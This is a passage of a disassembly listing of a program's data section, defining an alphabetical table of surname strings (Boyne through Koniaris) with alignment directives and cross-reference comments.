aBoyne db 'Boyne',0 ; DATA XREF: _2:00446FF0o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: _2:00446FF4o align 4 aBradac db 'Bradac',0 ; DATA XREF: _2:00446FF8o align 4 aBradach db 'Bradach',0 ; DATA XREF: _2:00446FFCo aBrecht db 'Brecht',0 ; DATA XREF: _2:00447000o align 4 aBreed db 'Breed',0 ; DATA XREF: _2:00447004o align 4 aBrenan db 'Brenan',0 ; DATA XREF: _2:00447008o align 4 aBrennan db 'Brennan',0 ; DATA XREF: _2:0044700Co aBrewer db 'Brewer',0 ; DATA XREF: _2:00447010o align 4 aBrewer_0 db 'Brewer',0 ; DATA XREF: _2:00447014o align 4 aBridgeman db 'Bridgeman',0 ; DATA XREF: _2:00447018o align 10h aBridges db 'Bridges',0 ; DATA XREF: _2:0044701Co aBrinton db 'Brinton',0 ; DATA XREF: _2:00447020o aBritz db 'Britz',0 ; DATA XREF: _2:00447024o align 4 aBroca db 'Broca',0 ; DATA XREF: _2:00447028o align 10h aBrook db 'Brook',0 ; DATA XREF: _2:0044702Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: _2:00447030o aBuchan db 'Buchan',0 ; DATA XREF: _2:00447034o align 4 aBudding db 'Budding',0 ; DATA XREF: _2:00447038o aBullard db 'Bullard',0 ; DATA XREF: _2:0044703Co aBunton db 'Bunton',0 ; DATA XREF: _2:00447040o align 10h aBurden db 'Burden',0 ; DATA XREF: _2:00447044o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: _2:00447048o align 10h aBurke db 'Burke',0 ; DATA XREF: _2:0044704Co align 4 aBurridge db 'Burridge',0 ; DATA XREF: _2:00447050o align 4 aBusetta db 'Busetta',0 ; DATA XREF: _2:00447054o aByatt db 'Byatt',0 ; DATA XREF: _2:00447058o align 4 aByerly db 'Byerly',0 ; DATA XREF: _2:0044705Co align 4 aByrd db 'Byrd',0 ; DATA XREF: _2:00447060o align 4 aCage db 'Cage',0 ; DATA XREF: _2:00447064o align 4 aCalnan db 'Calnan',0 ; DATA XREF: _2:00447068o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: _2:0044706Co align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: _2:00447070o align 4 aCanley db 'Canley',0 ; DATA XREF: _2:00447074o align 4 aCapanni db 'Capanni',0 ; DATA XREF: _2:00447078o aCaperton db 'Caperton',0 ; DATA XREF: _2:0044707Co align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: _2:00447080o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: _2:00447084o align 10h aCappuccio db 'Cappuccio',0 ; DATA XREF: _2:00447088o align 4 aCapursi db 'Capursi',0 ; DATA XREF: _2:0044708Co aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: _2:00447090o aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: _2:00447094o aCarlin db 'Carlin',0 ; DATA XREF: _2:00447098o align 4 aCarlos db 'Carlos',0 ; DATA XREF: _2:0044709Co align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: _2:004470A0o aCarmichael db 'Carmichael',0 ; DATA XREF: _2:004470A4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: _2:004470A8o align 4 aCarper db 'Carper',0 ; DATA XREF: _2:004470ACo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: _2:004470B0o align 10h aCascio db 'Cascio',0 ; DATA XREF: _2:004470B4o align 4 aCase db 'Case',0 ; DATA XREF: _2:004470B8o align 10h aCaspar db 'Caspar',0 ; DATA XREF: _2:004470BCo align 4 aCastelda db 'Castelda',0 ; DATA XREF: _2:004470C0o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: _2:004470C4o align 10h aCavell db 'Cavell',0 ; DATA XREF: _2:004470C8o align 4 aCeniceros db 'Ceniceros',0 ; DATA XREF: _2:004470CCo align 4 aCerioli db 'Cerioli',0 ; DATA XREF: _2:004470D0o aChapman db 'Chapman',0 ; DATA XREF: _2:004470D4o aCharles db 'Charles',0 ; DATA XREF: _2:004470D8o aCheang db 'Cheang',0 ; DATA XREF: _2:004470DCo align 4 aCherry db 'Cherry',0 ; DATA XREF: _2:004470E0o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: _2:004470E4o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: _2:004470E8o align 4 aChien db 'Chien',0 ; DATA XREF: _2:004470ECo align 4 aChildress db 'Childress',0 ; DATA XREF: _2:004470F0o align 4 aChilds db 'Childs',0 ; DATA XREF: _2:004470F4o align 10h aChinipardaz db 'Chinipardaz',0 ; DATA XREF: _2:004470F8o aChinman db 'Chinman',0 ; DATA XREF: _2:004470FCo aChristenson db 'Christenson',0 ; DATA XREF: _2:00447100o aChristian db 'Christian',0 ; DATA XREF: _2:00447104o align 4 aChristiano db 'Christiano',0 ; DATA XREF: _2:00447108o align 4 aChristie db 'Christie',0 ; DATA XREF: _2:0044710Co align 4 aChristopher db 'Christopher',0 ; DATA XREF: _2:00447110o aChu db 'Chu',0 ; DATA XREF: _2:00447114o aChupasko db 'Chupasko',0 ; DATA XREF: _2:00447118o align 10h aChurch db 'Church',0 ; DATA XREF: _2:0044711Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: _2:00447120o align 4 aCicero db 'Cicero',0 ; DATA XREF: _2:00447124o align 4 aCifarelli db 'Cifarelli',0 ; DATA XREF: _2:00447128o align 4 aClaffey db 'Claffey',0 ; DATA XREF: _2:0044712Co aClancy db 'Clancy',0 ; DATA XREF: _2:00447130o align 4 aClark db 'Clark',0 ; DATA XREF: _2:00447134o align 10h aClement db 'Clement',0 ; DATA XREF: _2:00447138o aClifton db 'Clifton',0 ; DATA XREF: _2:0044713Co aClow db 'Clow',0 ; DATA XREF: _2:00447140o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: _2:00447144o aCoito db 'Coito',0 ; DATA XREF: _2:00447148o align 4 aColdren db 'Coldren',0 ; DATA XREF: _2:0044714Co aColella db 'Colella',0 ; DATA XREF: _2:00447150o aCollard db 'Collard',0 ; DATA XREF: _2:00447154o aCollis db 'Collis',0 ; DATA XREF: _2:00447158o align 4 aCompton db 'Compton',0 ; DATA XREF: _2:0044715Co aCompton_0 db 'Compton',0 ; DATA XREF: _2:00447160o aComstock db 'Comstock',0 ; DATA XREF: _2:00447164o align 4 aConcino db 'Concino',0 ; DATA XREF: _2:00447168o aCondodina db 'Condodina',0 ; DATA XREF: _2:0044716Co align 4 aConnors db 'Connors',0 ; DATA XREF: _2:00447170o aCorey db 'Corey',0 ; DATA XREF: _2:00447174o align 4 aCornish db 'Cornish',0 ; DATA XREF: _2:00447178o aCosmides db 'Cosmides',0 ; DATA XREF: _2:0044717Co align 4 aCounter db 'Counter',0 ; DATA XREF: _2:00447180o aCoutaux db 'Coutaux',0 ; DATA XREF: _2:00447184o aCrawford db 'Crawford',0 ; DATA XREF: _2:00447188o align 4 aCrocker db 'Crocker',0 ; DATA XREF: _2:0044718Co aCroshaw db 'Croshaw',0 ; DATA XREF: _2:00447190o aCroxen db 'Croxen',0 ; DATA XREF: _2:00447194o align 10h aCroxton db 'Croxton',0 ; DATA XREF: _2:00447198o aCui db 'Cui',0 ; DATA XREF: _2:0044719Co aCurrier db 'Currier',0 ; DATA XREF: _2:004471A0o aCutler db 'Cutler',0 ; DATA XREF: _2:004471A4o align 4 aCvek db 'Cvek',0 ; DATA XREF: _2:004471A8o align 4 aCyders db 'Cyders',0 ; DATA XREF: _2:004471ACo align 4 aDasilva db 'daSilva',0 ; DATA XREF: _2:004471B0o aDaldalian db 'Daldalian',0 ; DATA XREF: _2:004471B4o align 10h aDaly db 'Daly',0 ; DATA XREF: _2:004471B8o align 4 aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: _2:004471BCo aDanieli db 'Danieli',0 ; DATA XREF: _2:004471C0o aDante db 'Dante',0 ; DATA XREF: _2:004471C4o align 10h aDapice db 'Dapice',0 ; DATA XREF: _2:004471C8o align 4 aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: _2:004471CCo aDas db 'Das',0 ; DATA XREF: _2:004471D0o aDasgupta db 'Dasgupta',0 ; DATA XREF: _2:004471D4o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: _2:004471D8o aDavid db 'David',0 ; DATA XREF: _2:004471DCo align 4 aDawkins db 'Dawkins',0 ; DATA XREF: _2:004471E0o aDegennaro db 'DeGennaro',0 ; DATA XREF: _2:004471E4o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: _2:004471E8o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: _2:004471ECo align 10h aDerousse db 'deRousse',0 ; DATA XREF: _2:004471F0o align 4 aDebroff db 'Debroff',0 ; DATA XREF: _2:004471F4o aDees db 'Dees',0 ; DATA XREF: _2:004471F8o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: _2:004471FCo align 4 aDelattre db 'Delattre',0 ; DATA XREF: _2:00447200o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: _2:00447204o align 4 aDelger db 'Delger',0 ; DATA XREF: _2:00447208o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: _2:0044720Co align 4 aDeming db 'Deming',0 ; DATA XREF: _2:00447210o align 10h aDempster db 'Dempster',0 ; DATA XREF: _2:00447214o align 4 aDemusz db 'Demusz',0 ; DATA XREF: _2:00447218o align 4 aDenault db 'Denault',0 ; DATA XREF: _2:0044721Co aDenham db 'Denham',0 ; DATA XREF: _2:00447220o align 4 aDenison db 'Denison',0 ; DATA XREF: _2:00447224o aDesombre db 'Desombre',0 ; DATA XREF: _2:00447228o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: _2:0044722Co aDFini db 'D',27h,'fini',0 ; DATA XREF: _2:00447230o align 4 aDicks db 'Dicks',0 ; DATA XREF: _2:00447234o align 10h aDiefenbach db 'Diefenbach',0 ; DATA XREF: _2:00447238o align 4 aDifabio db 'Difabio',0 ; DATA XREF: _2:0044723Co aDifronzo db 'Difronzo',0 ; DATA XREF: _2:00447240o align 10h aDilworth db 'Dilworth',0 ; DATA XREF: _2:00447244o align 4 aDionysius db 'Dionysius',0 ; DATA XREF: _2:00447248o align 4 aDirksen db 'Dirksen',0 ; DATA XREF: _2:0044724Co aDockery db 'Dockery',0 ; DATA XREF: _2:00447250o aDoherty db 'Doherty',0 ; DATA XREF: _2:00447254o aDonahue db 'Donahue',0 ; DATA XREF: _2:00447258o aDonner db 'Donner',0 ; DATA XREF: _2:0044725Co align 10h aDoonan db 'Doonan',0 ; DATA XREF: _2:00447260o align 4 aDore db 'Dore',0 ; DATA XREF: _2:00447264o align 10h aDorf db 'Dorf',0 ; DATA XREF: _2:00447268o align 4 aDosi db 'Dosi',0 ; DATA XREF: _2:0044726Co align 10h aDoty db 'Doty',0 ; DATA XREF: _2:00447270o align 4 aDoug db 'Doug',0 ; DATA XREF: _2:00447274o align 10h aDowsland db 'Dowsland',0 ; DATA XREF: _2:00447278o align 4 aDrinker db 'Drinker',0 ; DATA XREF: _2:0044727Co aDSouza db 'D',27h,'souza',0 ; DATA XREF: _2:00447280o aDuffin db 'Duffin',0 ; DATA XREF: _2:00447284o align 4 aDurrett db 'Durrett',0 ; DATA XREF: _2:00447288o aDussault db 'Dussault',0 ; DATA XREF: _2:0044728Co align 4 aDwyer db 'Dwyer',0 ; DATA XREF: _2:00447290o align 10h aEardley db 'Eardley',0 ; DATA XREF: _2:00447294o aEbeling db 'Ebeling',0 ; DATA XREF: _2:00447298o aEckel db 'Eckel',0 ; DATA XREF: _2:0044729Co align 4 aEdley db 'Edley',0 ; DATA XREF: _2:004472A0o align 10h aEdner db 'Edner',0 ; DATA XREF: _2:004472A4o align 4 aEdward db 'Edward',0 ; DATA XREF: _2:004472A8o align 10h aEickenhorst db 'Eickenhorst',0 ; DATA XREF: _2:004472ACo aEliasson db 'Eliasson',0 ; DATA XREF: _2:004472B0o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: _2:004472B4o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: _2:004472B8o align 10h aElvis db 'Elvis',0 ; DATA XREF: _2:004472BCo align 4 aEncinas db 'Encinas',0 ; DATA XREF: _2:004472C0o aEnyeart db 'Enyeart',0 ; DATA XREF: _2:004472C4o aEppling db 'Eppling',0 ; DATA XREF: _2:004472C8o aErbach db 'Erbach',0 ; DATA XREF: _2:004472CCo align 4 aErdman db 'Erdman',0 ; DATA XREF: _2:004472D0o align 10h aErdos db 'Erdos',0 ; DATA XREF: _2:004472D4o align 4 aErez db 'Erez',0 ; DATA XREF: _2:004472D8o align 10h aEspinoza db 'Espinoza',0 ; DATA XREF: _2:004472DCo align 4 aEstes db 'Estes',0 ; DATA XREF: _2:004472E0o align 4 aEtter db 'Etter',0 ; DATA XREF: _2:004472E4o align 4 aEuripides db 'Euripides',0 ; DATA XREF: _2:004472E8o align 4 aEverett db 'Everett',0 ; DATA XREF: _2:004472ECo aFabbris db 'Fabbris',0 ; DATA XREF: _2:004472F0o aFagan db 'Fagan',0 ; DATA XREF: _2:004472F4o align 10h aFaioes db 'Faioes',0 ; DATA XREF: _2:004472F8o align 4 aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: _2:004472FCo align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: _2:00447300o aFaris db 'Faris',0 ; DATA XREF: _2:00447304o align 4 aFarone db 'Farone',0 ; DATA XREF: _2:00447308o align 10h aFarren db 'Farren',0 ; DATA XREF: _2:0044730Co align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: _2:00447310o align 10h aFates db 'Fates',0 ; DATA XREF: _2:00447314o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: _2:00447318o align 4 aFejzo db 'Fejzo',0 ; DATA XREF: _2:0044731Co align 4 aFeldman db 'Feldman',0 ; DATA XREF: _2:00447320o aFernald db 'Fernald',0 ; DATA XREF: _2:00447324o aFernandes db 'Fernandes',0 ; DATA XREF: _2:00447328o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: _2:0044732Co align 4 aFerriell db 'Ferriell',0 ; DATA XREF: _2:00447330o align 10h aFeuer db 'Feuer',0 ; DATA XREF: _2:00447334o align 4 aFido db 'Fido',0 ; DATA XREF: _2:00447338o align 10h aField db 'Field',0 ; DATA XREF: _2:0044733Co align 4 aFink db 'Fink',0 ; DATA XREF: _2:00447340o align 10h aFinkelstein db 'Finkelstein',0 ; DATA XREF: _2:00447344o aFinnegan db 'Finnegan',0 ; DATA XREF: _2:00447348o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: _2:0044734Co aFisk db 'Fisk',0 ; DATA XREF: _2:00447350o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: _2:00447354o aFlier db 'Flier',0 ; DATA XREF: _2:00447358o align 4 aFlores db 'Flores',0 ; DATA XREF: _2:0044735Co align 4 aFolks db 'Folks',0 ; DATA XREF: _2:00447360o align 4 aForester db 'Forester',0 ; DATA XREF: _2:00447364o align 4 aFortes db 'Fortes',0 ; DATA XREF: _2:00447368o align 10h aFortier db 'Fortier',0 ; DATA XREF: _2:0044736Co aFossey db 'Fossey',0 ; DATA XREF: _2:00447370o align 10h aFossi db 'Fossi',0 ; DATA XREF: _2:00447374o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: _2:00447378o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: _2:0044737Co align 4 aFranz db 'Franz',0 ; DATA XREF: _2:00447380o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: _2:00447384o align 4 aFreid db 'Freid',0 ; DATA XREF: _2:00447388o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: _2:0044738Co align 10h aFried db 'Fried',0 ; DATA XREF: _2:00447390o align 4 aFriedland db 'Friedland',0 ; DATA XREF: _2:00447394o align 4 aFrisken db 'Frisken',0 ; DATA XREF: _2:00447398o aFrowiss db 'Frowiss',0 ; DATA XREF: _2:0044739Co aFryberger db 'Fryberger',0 ; DATA XREF: _2:004473A0o align 10h aFrye db 'Frye',0 ; DATA XREF: _2:004473A4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: _2:004473A8o align 4 aFuller db 'Fuller',0 ; DATA XREF: _2:004473ACo align 4 aFurth db 'Furth',0 ; DATA XREF: _2:004473B0o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: _2:004473B4o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: _2:004473B8o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: _2:004473BCo align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: _2:004473C0o align 10h aGalwey db 'Galwey',0 ; DATA XREF: _2:004473C4o align 4 aGambini db 'Gambini',0 ; DATA XREF: _2:004473C8o aGarfield db 'Garfield',0 ; DATA XREF: _2:004473CCo align 4 aGarman db 'Garman',0 ; DATA XREF: _2:004473D0o align 4 aGaronna db 'Garonna',0 ; DATA XREF: _2:004473D4o aGeller db 'Geller',0 ; DATA XREF: _2:004473D8o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: _2:004473DCo align 10h aGeorgi db 'Georgi',0 ; DATA XREF: _2:004473E0o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: _2:004473E4o aGhorai db 'Ghorai',0 ; DATA XREF: _2:004473E8o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: _2:004473ECo aGibson db 'Gibson',0 ; DATA XREF: _2:004473F0o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: _2:004473F4o aGili db 'Gili',0 ; DATA XREF: _2:004473F8o align 4 aGill db 'Gill',0 ; DATA XREF: _2:004473FCo align 10h aGillispie db 'Gillispie',0 ; DATA XREF: _2:00447400o align 4 aGist db 'Gist',0 ; DATA XREF: _2:00447404o align 4 aGleason db 'Gleason',0 ; DATA XREF: _2:00447408o aGlegg db 'Glegg',0 ; DATA XREF: _2:0044740Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: _2:00447410o aGoldfarb db 'Goldfarb',0 ; DATA XREF: _2:00447414o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: _2:00447418o align 4 aGood db 'Good',0 ; DATA XREF: _2:0044741Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: _2:00447420o align 4 aGoody db 'Goody',0 ; DATA XREF: _2:00447424o align 10h aGozzi db 'Gozzi',0 ; DATA XREF: _2:00447428o align 4 aGravell db 'Gravell',0 ; DATA XREF: _2:0044742Co aGreenberg db 'Greenberg',0 ; DATA XREF: _2:00447430o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: _2:00447434o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: _2:00447438o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: _2:0044743Co align 10h aGrummell db 'Grummell',0 ; DATA XREF: _2:00447440o align 4 aGruner db 'Gruner',0 ; DATA XREF: _2:00447444o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: _2:00447448o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: _2:0044744Co align 4 aGunn db 'Gunn',0 ; DATA XREF: _2:00447450o align 10h aGuo db 'Guo',0 ; DATA XREF: _2:00447454o aHa db 'Ha',0 ; DATA XREF: _2:00447458o align 4 aHaar db 'Haar',0 ; DATA XREF: _2:0044745Co align 10h aHackman db 'Hackman',0 ; DATA XREF: _2:00447460o aHackshaw db 'Hackshaw',0 ; DATA XREF: _2:00447464o align 4 aHaley db 'Haley',0 ; DATA XREF: _2:00447468o align 4 aHalkias db 'Halkias',0 ; DATA XREF: _2:0044746Co aHallowell db 'Hallowell',0 ; DATA XREF: _2:00447470o _2:004548D8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: _2:00447474o aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: _2:00447478o align 4 aHamer db 'Hamer',0 ; DATA XREF: _2:0044747Co align 10h aHammerness db 'Hammerness',0 ; DATA XREF: _2:00447480o align 4 aHand db 'Hand',0 ; DATA XREF: _2:00447484o align 4 aHanssen db 'Hanssen',0 ; DATA XREF: _2:00447488o aHarding db 'Harding',0 ; DATA XREF: _2:0044748Co aHargraves db 'Hargraves',0 ; DATA XREF: _2:00447490o align 10h aHarlow db 'Harlow',0 ; DATA XREF: _2:00447494o align 4 aHarrigan db 'Harrigan',0 ; DATA XREF: _2:00447498o align 4 aHartman db 'Hartman',0 ; DATA XREF: _2:0044749Co aHartmann db 'Hartmann',0 ; DATA XREF: _2:004474A0o align 4 aHartnett db 'Hartnett',0 ; DATA XREF: _2:004474A4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: _2:004474A8o aHaviaras db 'Haviaras',0 ; DATA XREF: _2:004474ACo align 4 aHawkes db 'Hawkes',0 ; DATA XREF: _2:004474B0o align 10h aHayes db 'Hayes',0 ; DATA XREF: _2:004474B4o align 4 aHaynes db 'Haynes',0 ; DATA XREF: _2:004474B8o align 10h aHazlewood db 'Hazlewood',0 ; DATA XREF: _2:004474BCo align 4 aHeermans db 'Heermans',0 ; DATA XREF: _2:004474C0o align 4 aHeft db 'Heft',0 ; DATA XREF: _2:004474C4o align 10h aHeiland db 'Heiland',0 ; DATA XREF: _2:004474C8o aHellman db 'Hellman',0 ; DATA XREF: _2:004474CCo aHellmiss db 'Hellmiss',0 ; DATA XREF: _2:004474D0o align 4 aHelprin db 'Helprin',0 ; DATA XREF: _2:004474D4o aHemphill db 'Hemphill',0 ; DATA XREF: _2:004474D8o align 10h aHenery db 'Henery',0 ; DATA XREF: _2:004474DCo align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: _2:004474E0o align 4 aHernandez db 'Hernandez',0 ; DATA XREF: _2:004474E4o align 10h aHerrera db 'Herrera',0 ; DATA XREF: _2:004474E8o aHester db 'Hester',0 ; DATA XREF: _2:004474ECo align 10h aHeubert db 'Heubert',0 ; DATA XREF: _2:004474F0o aHeyeck db 'Heyeck',0 ; DATA XREF: _2:004474F4o align 10h aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: _2:004474F8o align 4 aHind db 'Hind',0 ; DATA XREF: _2:004474FCo align 4 aHirst db 'Hirst',0 ; DATA XREF: _2:00447500o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: _2:00447504o align 4 aHoang db 'Hoang',0 ; DATA XREF: _2:00447508o align 10h aHock db 'Hock',0 ; DATA XREF: _2:0044750Co align 4 aHoffer db 'Hoffer',0 ; DATA XREF: _2:00447510o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: _2:00447514o aHokanson db 'Hokanson',0 ; DATA XREF: _2:00447518o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: _2:0044751Co align 4 aHolmes db 'Holmes',0 ; DATA XREF: _2:00447520o align 4 aHoloien db 'Holoien',0 ; DATA XREF: _2:00447524o aHolter db 'Holter',0 ; DATA XREF: _2:00447528o align 4 aHolway db 'Holway',0 ; DATA XREF: _2:0044752Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: _2:00447530o aHooker db 'Hooker',0 ; DATA XREF: _2:00447534o align 4 aHopkins db 'Hopkins',0 ; DATA XREF: _2:00447538o aHorsley db 'Horsley',0 ; DATA XREF: _2:0044753Co aHoshida db 'Hoshida',0 ; DATA XREF: _2:00447540o aHostage db 'Hostage',0 ; DATA XREF: _2:00447544o aHottle db 'Hottle',0 ; DATA XREF: _2:00447548o align 4 aHoward db 'Howard',0 ; DATA XREF: _2:0044754Co align 4 aHoy db 'Hoy',0 ; DATA XREF: _2:00447550o aHuey db 'Huey',0 ; DATA XREF: _2:00447554o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: _2:00447558o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: _2:0044755Co align 10h aHuntington db 'Huntington',0 ; DATA XREF: _2:00447560o align 4 aHupp db 'Hupp',0 ; DATA XREF: _2:00447564o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: _2:00447568o align 10h aHutchings db 'Hutchings',0 ; DATA XREF: _2:0044756Co align 4 aHyde db 'Hyde',0 ; DATA XREF: _2:00447570o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: _2:00447574o align 10h aIchikawa db 'Ichikawa',0 ; DATA XREF: _2:00447578o align 4 aIgarashi db 'Igarashi',0 ; DATA XREF: _2:0044757Co align 4 aInamura db 'Inamura',0 ; DATA XREF: _2:00447580o aInniss db 'Inniss',0 ; DATA XREF: _2:00447584o align 4 aIsaac db 'Isaac',0 ; DATA XREF: _2:00447588o align 10h aIsaievych db 'Isaievych',0 ; DATA XREF: _2:0044758Co align 4 aIsbill db 'Isbill',0 ; DATA XREF: _2:00447590o align 4 aIsserman db 'Isserman',0 ; DATA XREF: _2:00447594o align 10h aIyer db 'Iyer',0 ; DATA XREF: _2:00447598o align 4 aJacenko db 'Jacenko',0 ; DATA XREF: _2:0044759Co aJackson db 'Jackson',0 ; DATA XREF: _2:004475A0o aJagers db 'Jagers',0 ; DATA XREF: _2:004475A4o align 10h aJagger db 'Jagger',0 ; DATA XREF: _2:004475A8o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: _2:004475ACo align 10h aJain db 'Jain',0 ; DATA XREF: _2:004475B0o align 4 aJamil db 'Jamil',0 ; DATA XREF: _2:004475B4o align 10h aJanjigian db 'Janjigian',0 ; DATA XREF: _2:004475B8o align 4 aJarnagin db 'Jarnagin',0 ; DATA XREF: _2:004475BCo align 4 aJarrell db 'Jarrell',0 ; DATA XREF: _2:004475C0o aJay db 'Jay',0 ; DATA XREF: _2:004475C4o aJeffers db 'Jeffers',0 ; DATA XREF: _2:004475C8o aJellis db 'Jellis',0 ; DATA XREF: _2:004475CCo align 4 aJenkins db 'Jenkins',0 ; DATA XREF: _2:004475D0o aJespersen db 'Jespersen',0 ; DATA XREF: _2:004475D4o align 4 aJewett db 'Jewett',0 ; DATA XREF: _2:004475D8o align 10h aJohannesson db 'Johannesson',0 ; DATA XREF: _2:004475DCo aJohannsen db 'Johannsen',0 ; DATA XREF: _2:004475E0o align 4 aJohns db 'Johns',0 ; DATA XREF: _2:004475E4o align 10h aJolly db 'Jolly',0 ; DATA XREF: _2:004475E8o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: _2:004475ECo align 4 aJucks db 'Jucks',0 ; DATA XREF: _2:004475F0o align 4 aJuliano db 'Juliano',0 ; DATA XREF: _2:004475F4o aJulious db 'Julious',0 ; DATA XREF: _2:004475F8o aKabbash db 'Kabbash',0 ; DATA XREF: _2:004475FCo aKaboolian db 'Kaboolian',0 ; DATA XREF: _2:00447600o align 10h aKafadar db 'Kafadar',0 ; DATA XREF: _2:00447604o aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: _2:00447608o aKaligian db 'Kaligian',0 ; DATA XREF: _2:0044760Co align 10h aKalil db 'Kalil',0 ; DATA XREF: _2:00447610o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: _2:00447614o align 4 aKalman db 'Kalman',0 ; DATA XREF: _2:00447618o align 4 aKamel db 'Kamel',0 ; DATA XREF: _2:0044761Co align 4 aKangis db 'Kangis',0 ; DATA XREF: _2:00447620o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: _2:00447624o align 4 aKassower db 'Kassower',0 ; DATA XREF: _2:00447628o ; _2:off_44A514o align 4 aKasten db 'Kasten',0 ; DATA XREF: _2:0044762Co align 4 aKawachi db 'Kawachi',0 ; DATA XREF: _2:00447630o aKee db 'Kee',0 ; DATA XREF: _2:00447634o aKeenan db 'Keenan',0 ; DATA XREF: _2:00447638o align 10h aKeepper db 'Keepper',0 ; DATA XREF: _2:0044763Co aKeith db 'Keith',0 ; DATA XREF: _2:00447640o align 10h aKelker db 'Kelker',0 ; DATA XREF: _2:00447644o align 4 aKelsey db 'Kelsey',0 ; DATA XREF: _2:00447648o align 10h aKempton db 'Kempton',0 ; DATA XREF: _2:0044764Co aKemsley db 'Kemsley',0 ; DATA XREF: _2:00447650o aKendall db 'Kendall',0 ; DATA XREF: _2:00447654o aKerry db 'Kerry',0 ; DATA XREF: _2:00447658o align 10h aKeul db 'Keul',0 ; DATA XREF: _2:0044765Co align 4 aKhong db 'Khong',0 ; DATA XREF: _2:00447660o align 10h aKimmel db 'Kimmel',0 ; DATA XREF: _2:00447664o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: _2:00447668o aKimura db 'Kimura',0 ; DATA XREF: _2:0044766Co align 4 aKindall db 'Kindall',0 ; DATA XREF: _2:00447670o aKinsley db 'Kinsley',0 ; DATA XREF: _2:00447674o aKippenberger db 'Kippenberger',0 ; DATA XREF: _2:00447678o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: _2:0044767Co aKittridge db 'Kittridge',0 ; DATA XREF: _2:00447680o align 4 aKleckner db 'Kleckner',0 ; DATA XREF: _2:00447684o align 4 aKleiman db 'Kleiman',0 ; DATA XREF: _2:00447688o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: _2:0044768Co aKlemperer db 'Klemperer',0 ; DATA XREF: _2:00447690o align 4 aKling db 'Kling',0 ; DATA XREF: _2:00447694o align 10h aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: _2:00447698o aKlint db 'Klint',0 ; DATA XREF: _2:0044769Co align 4 aKnuff db 'Knuff',0 ; DATA XREF: _2:004476A0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: _2:004476A4o aKoch db 'Koch',0 ; DATA XREF: _2:004476A8o align 4 aKohn db 'Kohn',0 ; DATA XREF: _2:004476ACo align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: _2:004476B0o align 10h aKommer db 'Kommer',0 ; DATA XREF: _2:004476B4o align 4 aKoniaris db 